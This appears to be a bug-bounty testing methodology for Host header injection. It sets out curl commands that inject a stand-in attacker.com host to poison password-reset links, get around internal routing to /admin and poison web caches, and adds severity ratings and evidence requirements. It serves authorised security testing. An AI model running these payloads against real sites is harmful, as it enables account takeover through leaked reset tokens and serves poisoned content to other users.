Host Header Injection

Objective

Exploit web server reliance on the Host header to poison password reset links, web caches, or route requests to internal services.

Testing Methodology

Phase 1: Password Reset Poisoning

# Trigger password reset with injected Host
curl -X POST https://TARGET/forgot-password \
  -H "Host: attacker.com" \
  -d "email=victim@example.com"

# X-Forwarded-Host variant
curl -X POST https://TARGET/forgot-password \
  -H "X-Forwarded-Host: attacker.com" \
  -d "email=victim@example.com"

If the reset email link contains attacker.com, the token is leaked when victim clicks.

Phase 2: Duplicate Host Headers

# Two Host headers
curl https://TARGET/ \
  -H "Host: TARGET" \
  -H "Host: attacker.com"

# Host with port injection
curl https://TARGET/ \
  -H "Host: TARGET:@attacker.com"

Phase 3: X-Forwarded-Host / X-Host

curl https://TARGET/ -H "X-Forwarded-Host: attacker.com"
curl https://TARGET/ -H "X-Host: attacker.com"
curl https://TARGET/ -H "X-Forwarded-Server: attacker.com"
curl https://TARGET/ -H "X-Original-URL: /admin"
curl https://TARGET/ -H "X-Rewrite-URL: /admin"

Phase 4: Absolute URL Routing

# Absolute URL overrides Host header
curl "https://TARGET/api" \
  -H "Host: internal-admin.TARGET"

Phase 5: Web Cache Poisoning via Host

# If response is cached with injected host
curl https://TARGET/ -H "X-Forwarded-Host: attacker.com" -H "X-Cache: miss"
# Subsequent requests from any user will get poisoned response

What Constitutes a Finding

Finding	Severity
Password reset link contains injected host	Critical (P1)
Cache poisoned with injected host/links	High (P2)
Internal routing bypass (access /admin)	High (P2)
Host header reflected in page without sanitization	Medium (P3)

Evidence Requirements

• Request with injected Host header
• Response/email showing injected domain
• For cache poisoning: cached response serving injected content
• For password reset: full reset URL with attacker domain

References

• PortSwigger: Host Header Attacks
• OWASP: Host Header Injection